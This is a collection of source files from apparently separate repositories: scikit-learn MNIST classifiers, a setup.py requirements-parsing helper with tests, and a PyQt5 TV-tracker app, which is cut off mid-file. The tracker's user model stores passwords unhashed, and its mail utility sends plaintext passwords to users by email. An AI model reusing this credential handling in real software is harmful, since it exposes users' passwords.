"alpha_fraction": 0.6386740207672119, "alphanum_fraction": 0.720441997051239, "avg_line_length": 28.225807189941406, "blob_id": "9264d74daedfc492c222e85473a3b87c092829e4", "content_id": "c683eca50257e58a24a1f5ccef8532afc7d8bef0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 905, "license_type": "no_license", "max_line_length": 68, "num_lines": 31, "path": "/mnist/mnist_NaiveBayes_codes/mnist_nb_sklearn_MultinomialNB.py", "repo_name": "lqxyz/Basic_machine_learning_in_python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport numpy as np\nfrom sklearn.naive_bayes import MultinomialNB\n\n#train examples: 60000, size: 28*28\ntrain_image = np.fromfile('train-images.idx3-ubyte', dtype=np.uint8)\ntrain_image = (train_image[16:]).reshape([60000,784])#/255.0\n\ntrain_label = np.fromfile('train-labels.idx1-ubyte', dtype=np.uint8)\ntrain_label = (train_label[8:])\n\n#test examples: 10000, size: 28*28\ntest_image = np.fromfile('t10k-images.idx3-ubyte', dtype=np.uint8)\ntest_image = (test_image[16:]).reshape([10000,784])#/255.0\n\ntest_label = np.fromfile('t10k-labels.idx1-ubyte', dtype=np.uint8)\ntest_label = (test_label[8:])\n\n# create a Navie Bayes model\nmodel = MultinomialNB(alpha=0.001)\n#print model\n\n# train\nmodel.fit(train_image, train_label)\nprint model\n\n# test\nnewlabel = model.predict(test_image)\n#print svm_class\nerror = sum(test_label != newlabel)*1.0/10000\nprint \"Error rate is \" + str(error*100) + \"%.\"" }, { "alpha_fraction": 0.817460298538208, "alphanum_fraction": 0.817460298538208, "avg_line_length": 62, "blob_id": "e5c6ed56de14e58f553ca6e9789a64f27d67e6ff", "content_id": "5cd9f8142d8c5dab35f302016331136502733d6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 126, "license_type": "no_license", "max_line_length": 90, "num_lines": 2, "path": "/README.md", "repo_name": "lqxyz/Basic_machine_learning_in_python", "src_encoding": "UTF-8", "text": "# Basic_machine_learning_in_python\nThis is the homework about machine learning in Data Science and Big Data Processing class.\n" }, { "alpha_fraction": 0.6457627415657043, "alphanum_fraction": 0.7008474469184875, "avg_line_length": 31.600000381469727, "blob_id": "22ab26ecbb870a0d06ad680a80b3449106fdbe63", "content_id": "ce535b631595f51d6807c72daeb88feb4272247e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1180, "license_type": "no_license", "max_line_length": 125, "num_lines": 35, "path": "/mnist/mnist_knn.py", "repo_name": "lqxyz/Basic_machine_learning_in_python", "src_encoding": "UTF-8", "text": "import numpy as np\r\nfrom sklearn import neighbors\r\n\r\n##### step 1: prepare the train set and test set from mnist database\r\n#train examples: 60000, size: 28*28\r\ntrain_image = np.fromfile('train-images.idx3-ubyte', dtype=np.uint8)\r\ntrain_image = (train_image[16:]).reshape([60000,28*28])\r\n\r\ntrain_label = np.fromfile('train-labels.idx1-ubyte', dtype=np.uint8)\r\ntrain_label = (train_label[8:])\r\n\r\n#test examples: 10000, size: 28*28\r\ntest_image = np.fromfile('t10k-images.idx3-ubyte', dtype=np.uint8)\r\ntest_image = (test_image[16:]).reshape([10000,28*28])\r\n\r\ntest_label = np.fromfile('t10k-labels.idx1-ubyte', dtype=np.uint8)\r\ntest_label = (test_label[8:])\r\n\r\n##### step 2: get the classifier of knn\r\n\r\nmodel = neighbors.KNeighborsClassifier(n_neighbors=3,weights='distance',algorithm='auto',leaf_size=30,p=2,metric='euclidean')\r\n\r\n##### step 3: train with the traindata and trainlabels\r\n\r\nmodel.fit(train_image,train_label)\r\n\r\n\r\n##### step 4: make predictions\r\n\r\nknn_class = model.predict(test_image)\r\nknnerror = np.sum(knn_class != test_label)*1.0/knn_class.shape[0]\r\n\r\n##### print result\r\nprint 'The knn classification is',knn_class\r\nprint 'The Error rate of knn is',knnerror\r\n\r\n\r\n" } ]
7
olivierh59500/requirements
https://github.com/olivierh59500/requirements
192ddc9dbfc1c4468c934d85b6b9e6a7230176e2
166970f519c69354e73b41577fadebc31fffeccc
5420d30439d0fed2d635859378816381486f666c
refs/heads/master
2021-01-13T03:52:02.388831
2016-07-28T15:43:32
2016-07-28T15:43:32
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6644295454025269, "alphanum_fraction": 0.6845637559890747, "avg_line_length": 17.625, "blob_id": "71110c27553a63ed30342f8a4ab29f57cd8a3d78", "content_id": "89a3802b886382cea6edf138f0085c736b51663d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 149, "license_type": "permissive", "max_line_length": 28, "num_lines": 8, "path": "/examples/setup.py", "repo_name": "olivierh59500/requirements", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nfrom setuptools import setup\nfrom requirements import r\n\nsetup(\n name='example',\n version='0.0.1',\n **r.requirements)\n" }, { "alpha_fraction": 0.6243902444839478, "alphanum_fraction": 0.6780487895011902, "avg_line_length": 11.058823585510254, "blob_id": "6ea620e4b7cd645cec118096f923f7e433269d7e", "content_id": "67edacb4424cbc44b7663e1a37094417bb239395", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 205, "license_type": "permissive", "max_line_length": 29, "num_lines": 17, "path": "/tox.ini", "repo_name": "olivierh59500/requirements", "src_encoding": "UTF-8", "text": "[tox]\nenvlist = py27,py33,py34,py35\nskipsdist = True\n\n[testenv]\ndeps =\n pytest\n flake8\ncommands =\n py.test tests\n flake8 requirements.py\n\n[flake8]\nexclude = tests/*\n\n[pytest]\ntestpaths = tests\n" }, { "alpha_fraction": 0.5784788727760315, "alphanum_fraction": 0.5968450903892517, "avg_line_length": 37.925437927246094, "blob_id": "44a384221669bf2ea2ebb81209f9886fc0545ce5", "content_id": "c709ac6eae61d7348a5272dc3e1f3dbf8d44dbcf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8875, "license_type": "permissive", "max_line_length": 112, "num_lines": 228, "path": "/tests/test_base.py", "repo_name": "olivierh59500/requirements", "src_encoding": "UTF-8", "text": "import os\nimport sys\nimport shutil\nimport tempfile\nfrom unittest import TestCase\n\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))\n\nfrom requirements import Requirement\nfrom requirements import Requirements\n\nORIGINAL_DIRECTORY = os.getcwd()\n\n\nclass RequirementsTestCase(TestCase):\n def setUp(self):\n self.root_directory = tempfile.mkdtemp()\n os.chdir(self.root_directory)\n\n self.r = Requirements()\n\n def tearDown(self):\n os.chdir(ORIGINAL_DIRECTORY)\n shutil.rmtree(self.root_directory)\n\n def test_requirement_repr(self):\n r = Requirement.parse('requests==2.9.1')\n self.assertEqual(r.__repr__(), '<Requirement: \"requests==2.9.1\">')\n\n def test_requirement_parsing(self):\n line = ' requests==2.9.1,>=2.8.1 # jambon'\n r = Requirement.parse(line)\n self.assertEqual(r.line, line)\n self.assertEqual(r.name, 'requests')\n self.assertEqual(r.specs, [('==', '2.9.1'), ('>=', '2.8.1')])\n\n def test_detect_files(self):\n requirements_path = os.path.join(\n self.root_directory, 'requirements.txt')\n\n with open(requirements_path, 'w') as f:\n f.write('requests==2.9.1\\n')\n\n os.mkdir(os.path.join(self.root_directory, 'requirements'))\n tests_requirements_path = os.path.join(\n self.root_directory, 'requirements', 'tests.txt')\n\n with open(tests_requirements_path, 'w') as f:\n f.write('flake8==2.5.4\\n')\n\n dependencies = self.r.dependencies\n self.assertEqual(dependencies['tests_require'], ['flake8 == 2.5.4'])\n self.assertEqual(\n dependencies['install_requires'], ['requests == 2.9.1'])\n self.assertEqual(dependencies['dependency_links'], [])\n\n def test_different_paths(self):\n requirements_path = os.path.join(\n self.root_directory, 'foo.txt')\n\n with open(requirements_path, 'w') as f:\n f.write('requests==2.9.1\\n')\n\n os.mkdir(os.path.join(self.root_directory, 'moar-requirements'))\n tests_requirements_path = os.path.join(\n self.root_directory, 'moar-requirements', 'bar.txt')\n\n with open(tests_requirements_path, 'w') as f:\n f.write('flake8==2.5.4\\n')\n\n self.r.requirements_path = requirements_path\n self.r.tests_requirements_path = tests_requirements_path\n\n dependencies = self.r.dependencies\n self.assertEqual(dependencies['tests_require'], ['flake8 == 2.5.4'])\n self.assertEqual(\n dependencies['install_requires'], ['requests == 2.9.1'])\n self.assertEqual(dependencies['dependency_links'], [])\n\n def test_empty_lines(self):\n requirements_path = os.path.join(\n self.root_directory, 'requirements.txt')\n\n with open(requirements_path, 'w') as f:\n f.write('\\n\\n')\n f.write('requests==2.9.1 #I like ham\\n')\n f.write('\\n')\n f.write('boto')\n\n dependencies = self.r.dependencies\n self.assertEqual(\n sorted(dependencies['install_requires']),\n sorted(['requests == 2.9.1', 'boto']))\n\n def test_comments_line_ignored(self):\n requirements_path = os.path.join(\n self.root_directory, 'requirements.txt')\n\n with open(requirements_path, 'w') as f:\n f.write('# boto==python3-lol\\n')\n f.write('requests==2.9.1 #I like ham\\n')\n\n os.mkdir(os.path.join(self.root_directory, 'requirements'))\n tests_requirements_path = os.path.join(\n self.root_directory, 'requirements', 'tests.txt')\n\n with open(tests_requirements_path, 'w') as f:\n f.write('flake8==2.5.4\\n')\n\n dependencies = self.r.dependencies\n self.assertEqual(dependencies['tests_require'], ['flake8 == 2.5.4'])\n self.assertEqual(dependencies['install_requires'], ['requests == 2.9.1'])\n self.assertEqual(dependencies['dependency_links'], [])\n\n def test_multi_specifiers(self):\n requirements_path = os.path.join(\n self.root_directory, 'requirements.txt')\n tests_requirements_path = os.path.join(\n self.root_directory, 'tests-requirements.txt')\n\n with open(requirements_path, 'w') as f:\n f.write('requests<=2.9.1,>=2.8.5')\n\n with open(tests_requirements_path, 'w') as f:\n f.write('requests <= 2.9.1 , >=2.8.5')\n\n self.r.tests_requirements_path = 'tests-requirements.txt'\n\n dependencies = self.r.dependencies\n self.assertEqual(\n dependencies['install_requires'], ['requests <= 2.9.1, >= 2.8.5'])\n self.assertEqual(\n dependencies['tests_require'], ['requests <= 2.9.1, >= 2.8.5'])\n\n def test_ignore_every_private_links(self):\n requirements_path = os.path.join(\n self.root_directory, 'requirements.txt')\n\n with open(requirements_path, 'w') as f:\n f.write('--no-index --find-links=/tmp/wheelhouse SomePackage\\n')\n f.write('--find-links=/tmp/wheelhouse SomePackage\\n')\n f.write('-f /tmp/wheelhouse SomePackage\\n')\n f.write('--extra-index-url http://foo.bar SomePackage\\n')\n f.write('-i http://foo.bar SomePackage\\n')\n f.write('requests\\n')\n f.write('--index-url http://foo.bar SomePackage\\n')\n\n dependencies = self.r.dependencies\n self.assertEqual(dependencies['install_requires'], ['requests'])\n\n def test_ignore_arguments(self):\n requirements_path = os.path.join(\n self.root_directory, 'requirements.txt')\n\n with open(requirements_path, 'w') as f:\n f.write('requests\\n')\n f.write('--always-unzip SomePackage\\n')\n f.write('-Z SomePackage\\n')\n\n dependencies = self.r.dependencies\n self.assertEqual(dependencies['install_requires'], ['requests'])\n\n def test_requirements_inception(self):\n requirements_path = os.path.join(\n self.root_directory, 'requirements.txt')\n requirements_path_02 = os.path.join(\n self.root_directory, 'requirements-02.txt')\n requirements_path_03 = os.path.join(\n self.root_directory, 'requirements', 'requirements-03.txt')\n\n os.mkdir(os.path.join(self.root_directory, 'requirements'))\n\n with open(requirements_path, 'w') as f:\n f.write('requests\\n')\n f.write('-r requirements-02.txt\\n')\n\n with open(requirements_path_02, 'w') as f:\n f.write('boto\\n')\n f.write('--requirement requirements/requirements-03.txt\\n')\n\n with open(requirements_path_03, 'w') as f:\n f.write('isit==0.1.0\\n')\n\n dependencies = self.r.dependencies\n self.assertEqual(\n sorted(dependencies['install_requires']),\n sorted(['requests', 'boto', 'isit == 0.1.0']))\n\n def test_dependency_links(self):\n requirements_path = os.path.join(\n self.root_directory, 'requirements.txt')\n\n with open(requirements_path, 'w') as f:\n f.write('boto\\n')\n f.write('-e git+https://github.com/kennethreitz/requests.git@master#egg=requests\\n')\n f.write('-e svn+http://foo:[email protected]/svn/MyProject/trunk@2019#egg=foo01 # COMMENT\\n')\n f.write('-e git+ssh://[email protected]/MyProject/#egg=foo02\\n')\n f.write('-e hg+http://hg.myproject.org/MyProject/@da39a3ee5e6b#egg=foo03\\n')\n f.write('-e bzr+https://bzr.myproject.org/MyProject/trunk/@2019#egg=foo04\\n')\n\n dependencies = self.r.dependencies\n self.assertEqual(\n sorted(dependencies['install_requires']),\n sorted(['requests', 'boto', 'foo01', 'foo02', 'foo03', 'foo04']))\n self.assertEqual(\n sorted(dependencies['dependency_links']),\n sorted([\n 'git+https://github.com/kennethreitz/requests.git@master#egg=requests',\n 'svn+http://foo:[email protected]/svn/MyProject/trunk@2019#egg=foo01',\n 'git+ssh://[email protected]/MyProject/#egg=foo02',\n 'hg+http://hg.myproject.org/MyProject/@da39a3ee5e6b#egg=foo03',\n 'bzr+https://bzr.myproject.org/MyProject/trunk/@2019#egg=foo04']))\n\n def test_http_link(self):\n requirements_path = os.path.join(\n self.root_directory, 'requirements.txt')\n\n with open(requirements_path, 'w') as f:\n f.write('boto\\n')\n f.write('http://someserver.org/packages/MyPackage-3.0.tar.gz#egg=foo\\n')\n\n dependencies = self.r.dependencies\n self.assertEqual(\n sorted(dependencies['install_requires']), sorted(['boto', 'foo']))\n self.assertEqual(\n sorted(dependencies['dependency_links']),\n sorted([\n 'http://someserver.org/packages/MyPackage-3.0.tar.gz#egg=foo']))\n" }, { "alpha_fraction": 0.7337610125541687, "alphanum_fraction": 0.7425822019577026, "avg_line_length": 26.711111068725586, "blob_id": "673795b5e16ad89f0339a883959b479bc2a309c5", "content_id": "c10286a4086e53665bca0f46e6290223007fdde3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1249, "license_type": "permissive", "max_line_length": 168, "num_lines": 45, "path": "/README.md", "repo_name": "olivierh59500/requirements", "src_encoding": "UTF-8", "text": "# Requirements\n\n*☛ Python requirements made easy*\n\n[![Coverage Status](https://coveralls.io/repos/github/socketubs/requirements/badge.svg?branch=master)](https://coveralls.io/github/socketubs/requirements?branch=master)\n[![Build Status](https://travis-ci.org/socketubs/requirements.svg?branch=master)](https://travis-ci.org/socketubs/requirements)\n\nWrite your adorable `requirements.txt` once and forget `setup.py` hassles.\n\n```python\nfrom setuptools import setup\nfrom requirements import r\n\nsetup(\n name='your-package',\n version='0.0.1',\n **r.dependencies)\n```\n\n### Features\n\n* Requirements discovery\n* Manage `dependency_links` and `tests_require`\n* Just drop `requirements.py` in your package directory\n* Works well with [pip-tools](https://github.com/nvie/pip-tools)\n* Configurable for different requirements layout\n* Python `2.7`, `3.3`, `3.4`, `3.5`\n* Very light, well tested, no dependencies and more!\n\n\n### Usage\n\n* Download latest `requirements.py` release in your package root directory\n* Import it in your `setup.py`, like in previous example\n\nSome variables are configurable like that:\n\n```python\nfrom requirements import r\n\nr.requirements_path = 'reqs.txt'\nr.tests_requirements_path = 'reqs-tests.txt'\n```\n\nLicense is `MIT`.\n" }, { "alpha_fraction": 0.7777777910232544, "alphanum_fraction": 0.7777777910232544, "avg_line_length": 18, "blob_id": "c6d7f26576d95855776dc21235cfe39caf254782", "content_id": "81386d7443490b47f35d3d46c3c6d015e663f193", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18, "license_type": "permissive", "max_line_length": 18, "num_lines": 1, "path": "/examples/requirements.py", "repo_name": "olivierh59500/requirements", "src_encoding": "UTF-8", "text": "../requirements.py" } ]
5
hvsuchitra/tv_tracker
https://github.com/hvsuchitra/tv_tracker
0b7d62d904db03382b7e0fc1e2fcc86e34b8e9ba
5415d177fe9a4e16ec39d9812e9502840bba5b12
001044a6dc01940e111b7156b1c7ef2f62988fb8
refs/heads/main
2023-03-29T02:28:34.330348
2021-03-29T06:29:24
2021-03-29T06:29:24
352,538,111
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6613131761550903, "alphanum_fraction": 0.6710754036903381, "avg_line_length": 26.733623504638672, "blob_id": "5f981b7c05be4bae1d81f9b1c53659ffa7ecea27", "content_id": "adc85f255e45341493cae7d856bac908be193a3e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6351, "license_type": "permissive", "max_line_length": 109, "num_lines": 229, "path": "/common/utils/utils.py", "repo_name": "hvsuchitra/tv_tracker", "src_encoding": "UTF-8", "text": "import smtplib\n\n\ndef get_binary(src_file):\n with open(src_file, 'rb') as f:\n return f.read()\n\n\ndef send_mail(to, username, password, message_type='account_creation'):\n server = 'smtp.mail.me.com'\n port = 587\n email = 'mailid'\n _password = 'password'\n\n if message_type == 'account_creation':\n message = f'''Subject: Welcome to TV Tracker\nFrom: TV Tracker Dev<{email}>\nTo: {to}\n\nThank You for registering. Your username is {username} and password is {password}.\n\nHave a nice day 0:)'''\n elif message_type == 'password_change':\n message = f'''Subject: TV Track Password Change\nFrom: TV Tracker Dev<{email}>\nTo: {to}\n\nThe password to your TV Tracker account {username} was changed to {password}.\n\nIf you have not made this change, reply to this email to deactivate your account.\n\nHave a nice day 0:)'''\n\n elif message_type == 'reset_password':\n message = f'''Subject: TV Track Password Change\nFrom: TV Tracker Dev<{email}>\nTo: {to}\n\nThe password to your TV Tracker account {username} was reset to {password}.\n\nUse this password the next time to login.\n\nHave a nice day 0:)'''\n\n with smtplib.SMTP(server, port) as server:\n server.starttls()\n server.login(email, _password)\n server.sendmail(from_addr=email, to_addrs=to, msg=message)\n\n\nfrom pathlib import Path\n\n\ndef get_path(path, to_str=True):\n app_root = Path('../common').resolve()\n return f'{app_root / path}' if to_str else app_root / path\n\n\nfrom PyQt5 import QtCore\nfrom PyQt5.QtGui import QImage, QPainter, QBrush, QColor\n\n\ndef make_trans(image, opaque_factor):\n temp = QImage(image.size(), QImage.Format_ARGB32)\n temp.fill(QtCore.Qt.transparent)\n\n painter = QPainter(temp)\n painter.setOpacity(opaque_factor)\n painter.drawImage(QtCore.QRect(0, 0, image.width(), image.height()), image)\n\n return temp\n\n\ndef make_dark(image, dark_factor):\n painter = QPainter(image)\n brush = QBrush(QColor(0, 0, 0, dark_factor))\n painter.setBrush(brush)\n painter.drawRect(0, 0, image.width(), image.height())\n return image\n\n\nfrom random import choice\nfrom json import load\n\n\ndef random_thought():\n with open(get_path('resources/misc/quotes.json')) as file_obj:\n random_quote = choice(load(file_obj))\n return random_quote['text'], random_quote['author']\n\n\nfrom string import ascii_lowercase, ascii_uppercase, digits, punctuation\nfrom secrets import choice as secret_choice\nfrom random import shuffle, randint\n\n\ndef generate_password():\n characters = [ascii_lowercase, ascii_uppercase, digits, punctuation]\n\n shuffle(characters)\n\n random_password = [*map(secret_choice, characters)]\n random_password.extend(secret_choice(secret_choice(characters)) for _ in range(randint(4, 12)))\n\n shuffle(random_password)\n\n return ''.join(random_password)\n\n\nfrom PyQt5.QtCore import pyqtSignal, Qt, QThread\nfrom PyQt5.QtWidgets import QLabel\nfrom PyQt5.QtGui import QPixmap\n\n\nclass ClickableLabel(QLabel):\n clicked = pyqtSignal(str)\n\n def __init__(self, name=None, src=None):\n super().__init__()\n self.setObjectName(name)\n if name is not None and src is not None:\n if name != 'profile':\n self.setPixmap(QPixmap.fromImage(QImage(get_path(src))).scaled(100, 100, Qt.KeepAspectRatio))\n else:\n self.setPixmap(circle_crop(src).scaled(100, 100, Qt.KeepAspectRatio))\n\n def mousePressEvent(self, event):\n self.clicked.emit(self.objectName())\n\n\nclass SendMailThread(QThread):\n signal = pyqtSignal('PyQt_PyObject')\n\n def __init__(self, to, username, password):\n super().__init__()\n self.to = to\n self.username = username\n self.password = password\n\n def run(self):\n send_mail(self.to, self.username, self.password, self.message_type)\n\n\nfrom PyQt5.QtCore import Qt, QRect\nfrom PyQt5.QtGui import QBrush, QImage, QPainter, QPixmap, QWindow\nfrom PyQt5.QtWidgets import QLabel, QVBoxLayout, QWidget\n\n\ndef circle_crop(image):\n size = 100\n\n image = QImage.fromData(image)\n image.convertToFormat(QImage.Format_ARGB32)\n\n imgsize = min(image.width(), image.height())\n rect = QRect((image.width() - imgsize) / 2, (image.height() - imgsize) / 2, imgsize, imgsize)\n image = image.copy(rect)\n\n out_img = QImage(image.size(), QImage.Format_ARGB32)\n out_img.fill(Qt.transparent)\n\n brush = QBrush(image)\n painter = QPainter(out_img)\n painter.setBrush(brush)\n painter.setPen(Qt.NoPen)\n painter.setRenderHint(QPainter.Antialiasing, True)\n painter.drawEllipse(0, 0, imgsize, imgsize)\n painter.end()\n\n pr = QWindow().devicePixelRatio()\n pm = QPixmap.fromImage(out_img)\n # pm.setDevicePixelRatio(pr)\n # size*=pr\n # pm=pm.scaled(size,size,Qt.KeepAspectRatio,Qt.SmoothTransformation)\n\n return pm\n\n\nfrom PyQt5.QtCore import QTimeLine\nfrom PyQt5.QtWidgets import QCalendarWidget, QGridLayout, QStackedWidget, QTextEdit\n\n\nclass FaderWidget(QWidget):\n def __init__(self, old_widget, new_widget):\n QWidget.__init__(self, new_widget)\n self.pixmap_opacity = 1.0\n self.old_pixmap = QPixmap(new_widget.size())\n old_widget.render(self.old_pixmap)\n\n self.timeline = QTimeLine()\n self.timeline.valueChanged.connect(self.animate)\n self.timeline.finished.connect(self.close)\n self.timeline.setDuration(333)\n self.timeline.start()\n\n self.resize(new_widget.size())\n self.show()\n\n def paintEvent(self, event):\n painter = QPainter(self)\n painter.setOpacity(self.pixmap_opacity)\n painter.drawPixmap(0, 0, self.old_pixmap)\n\n def animate(self, value):\n self.pixmap_opacity = 1.0 - value\n self.update()\n\n\nclass StackedWidget(QStackedWidget):\n clicked = pyqtSignal(str)\n\n def __init__(self, name):\n super().__init__()\n self.setEnabled(True)\n self.setObjectName(name)\n\n def setCurrentIndex(self, index):\n if self.currentIndex() != index:\n self.fader_widget = FaderWidget(self.currentWidget(), self.widget(index))\n super().setCurrentIndex(index)\n\n def enterEvent(self, event):\n self.setCurrentIndex(1)\n\n def leaveEvent(self, event):\n self.setCurrentIndex(0)\n\n def mousePressEvent(self, QMouseEvent):\n self.clicked.emit(self.objectName())\n" }, { "alpha_fraction": 0.7285068035125732, "alphanum_fraction": 0.7285068035125732, "avg_line_length": 35.83333206176758, "blob_id": "2b21e29d8ed09ca607529a0711e3029a31ce9fe2", "content_id": "e0b5ccb0c773c352be088e058b5dbbe715be4649", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 884, "license_type": "permissive", "max_line_length": 113, "num_lines": 24, "path": "/common/resources/db/users.py", "repo_name": "hvsuchitra/tv_tracker", "src_encoding": "UTF-8", "text": "from sqlalchemy import create_engine, Column, Integer, String, Sequence, BLOB\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\nfrom common.utils.utils import get_binary\n\nengine = create_engine('sqlite:///../common/resources/db/tvtracker.sqlite', echo=False)\nBase = declarative_base()\n\n\nclass User(Base):\n __tablename__ = 'users'\n username = Column(String, primary_key=True)\n email = Column(String)\n role = Column(String, default='end_user')\n pic = Column(BLOB, default=get_binary('../common/resources/icons/default_av.png'))\n password = Column(String) # need to hash this, temporary model\n\n def __repr__(self):\n return f'User(username={self.username},email={self.email},role={self.role},hashed_password={self.password})'\n\n\nBase.metadata.create_all(engine)\nSession = sessionmaker(engine, expire_on_commit=False)\n" }, { "alpha_fraction": 0.6694465279579163, "alphanum_fraction": 0.6846095323562622, "avg_line_length": 46.10714340209961, "blob_id": "cd73b3c6d9aaad3388ecb4a739fba5c72aef130d", "content_id": "02adbe560cf3f73f710275ebc82c276e95277b22", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3957, "license_type": "permissive", "max_line_length": 139, "num_lines": 84, "path": "/gui/screens/home_page.py", "repo_name": "hvsuchitra/tv_tracker", "src_encoding": "UTF-8", "text": "import sys\n\nfrom PyQt5.QtCore import QBasicTimer, QThread, pyqtSignal, QRegExp, Qt, QSize, pyqtSignal\nfrom PyQt5.QtWidgets import QApplication, QWidget, QToolTip, QPushButton, QGroupBox, QHBoxLayout, QGridLayout, \\\n QFileDialog, QMainWindow, QLineEdit, QLabel, QTableView, QTabWidget, QRadioButton, QFrame, QSystemTrayIcon, QStyle, \\\n QMenu, QSpacerItem, QSizePolicy, QMessageBox, QToolBar, QAction, QToolButton, QScrollArea, QVBoxLayout\nfrom PyQt5 import QtCore, QtGui\nfrom PyQt5.QtGui import QIcon, QFont, QRegExpValidator, QPalette, QPixmap, QImage, QColor\n\nfrom common.utils.utils import get_path, random_thought, ClickableLabel, circle_crop\nfrom utils.session import session_scope\nfrom common.resources.db.users import User, engine, Session\n\nfrom screens.profile import Profile\nfrom screens.about import About\nfrom screens.search import Search\n\n\nclass Home(QWidget):\n def __init__(self, cur_user):\n super().__init__()\n self.cur_user = cur_user\n self.init_UI()\n\n QToolTip.setFont(QFont('SansSerif', 10))\n self.setGeometry(760, 300, 360, 480)\n self.setWindowTitle(f'Welcome to TV Tracker {self.cur_user.username}')\n\n self.grid = QGridLayout()\n self.grid.setSpacing(10)\n self.setLayout(self.grid)\n\n self.home_label = ClickableLabel('home', 'resources/icons/home.png')\n # self.home_label.setPixmap(QPixmap.fromImage(QImage(get_path('resources/icons/home.png'))).scaled(100,100,Qt.KeepAspectRatio))\n self.home_label.setToolTip('Home')\n self.home_label.clicked.connect(self.open_window)\n self.grid.addWidget(self.home_label, 0, 0, Qt.AlignCenter)\n\n self.search_label = ClickableLabel('search', 'resources/icons/tv.png')\n # self.search_label.setPixmap(QPixmap.fromImage(QImage(get_path('resources/icons/tv.png'))).scaled(100,100,Qt.KeepAspectRatio))\n self.search_label.setToolTip('Search')\n self.search_label.clicked.connect(self.open_window)\n self.grid.addWidget(self.search_label, 1, 0, Qt.AlignCenter)\n\n self.profile_label = ClickableLabel('profile', self.cur_user.pic)\n # self.profile_label.setPixmap(QPixmap.fromImage((QImage.fromData(self.cur_user.pic))).scaled(100,100,Qt.KeepAspectRatio))\n self.profile_label.setToolTip('Profile')\n self.profile_label.clicked.connect(self.open_window)\n self.grid.addWidget(self.profile_label, 2, 0, Qt.AlignCenter)\n\n self.about_label = ClickableLabel('about', 'resources/icons/about.png')\n # self.about_label.setPixmap(QPixmap.fromImage((QImage(get_path('resources/icons/about.png')))).scaled(100,100,Qt.KeepAspectRatio))\n self.about_label.setToolTip('About')\n self.about_label.clicked.connect(self.open_window)\n self.grid.addWidget(self.about_label, 3, 0, Qt.AlignCenter)\n\n self.quit_label = ClickableLabel('quit', 'resources/icons/exit.png')\n # self.quit_label.setPixmap(QPixmap.fromImage((QImage(get_path('resources/icons/about.png')))).scaled(100,100,Qt.KeepAspectRatio))\n self.quit_label.setToolTip('Quit!')\n self.quit_label.clicked.connect(self.close)\n self.grid.addWidget(self.quit_label, 4, 0, Qt.AlignCenter)\n\n self.profile = Profile(self.pos(), self.cur_user)\n self.about = About(self.pos())\n self.search = Search(self.pos(), self.cur_user)\n\n # self.show()\n\n def open_window(self):\n option = self.sender().objectName()\n if option == 'profile':\n sub_window = self.profile\n self.profile.clear()\n elif option == 'about':\n sub_window = self.about\n quote, author = random_thought()\n self.about.quote_label.setText(f'{author} said \"{quote}\"')\n elif option == 'search':\n sub_window = self.search\n elif option == 'home':\n sub_window = self.home\n\n sub_window.setWindowModality(Qt.ApplicationModal)\n sub_window.show()\n" }, { "alpha_fraction": 0.6554403901100159, "alphanum_fraction": 0.6692573428153992, "avg_line_length": 37.92436981201172, "blob_id": "95666e7aad5cb9a1d1680c4664bc85ff9d20635f", "content_id": "232ac37f4da78f7c5b0a6ba7be505b0d0367ecab", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4632, "license_type": "permissive", "max_line_length": 114, "num_lines": 119, "path": "/gui/gui.py", "repo_name": "hvsuchitra/tv_tracker", "src_encoding": "UTF-8", "text": "import sys\nimport os\n\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import QApplication, QWidget, QToolTip, QPushButton, QGridLayout, QLineEdit, QLabel, QMenu, \\\n QSpacerItem, QSizePolicy\nfrom PyQt5 import QtCore\nfrom PyQt5.QtGui import QIcon, QFont\n\nos.chdir(sys.path[0])\nsys.path.append('../')\n\nfrom screens.sign_up import SignUp\nfrom screens.reset_password import ResetPassword\nfrom screens.home_page import Home\nfrom common.resources.db.users import User, Session\nfrom common.utils.utils import get_path, ClickableLabel\nfrom utils.session import session_scope\n\nget_path('cache', False).mkdir(exist_ok=True, parents=True)\n\n\nclass Login(QWidget):\n def __init__(self):\n super().__init__()\n self.sign_up_sub_window = SignUp(self.pos(), self)\n self.reset_password_sub_window = ResetPassword(self.pos(), self)\n\n QToolTip.setFont(QFont('SansSerif', 10))\n self.setGeometry(760, 300, 360, 480)\n self.setWindowTitle('TV Tracker')\n\n self.grid = QGridLayout()\n self.grid.setSpacing(10)\n self.setLayout(self.grid)\n self.setStyleSheet('background-color:#76D7C4')\n self.grid.setAlignment(QtCore.Qt.AlignCenter)\n\n self.welcome_label = QLabel('TV Tracker', self)\n self.welcome_label.setStyleSheet('color:#E3088D;font-family:Apple Chancery;font-size:25px')\n self.welcome_label.setAlignment(0 | QtCore.Qt.AlignCenter) # you can \"or\" flags to get both\n self.grid.addWidget(self.welcome_label, 0, 0, 1, 2)\n\n blank = QSpacerItem(0, 0, QSizePolicy.Minimum, QSizePolicy.Expanding)\n self.grid.addItem(blank)\n\n self.user_label = QLabel('Username', self)\n self.grid.addWidget(self.user_label, 2, 0, QtCore.Qt.AlignCenter)\n\n self.password_label = QLabel('Password', self)\n self.grid.addWidget(self.password_label, 3, 0, 